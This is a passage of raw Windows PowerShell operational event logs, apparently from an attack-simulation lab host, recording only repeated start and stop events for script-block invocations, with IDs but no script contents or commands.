LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046827
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046825
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046824
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046807
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046801
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046779
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046777
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
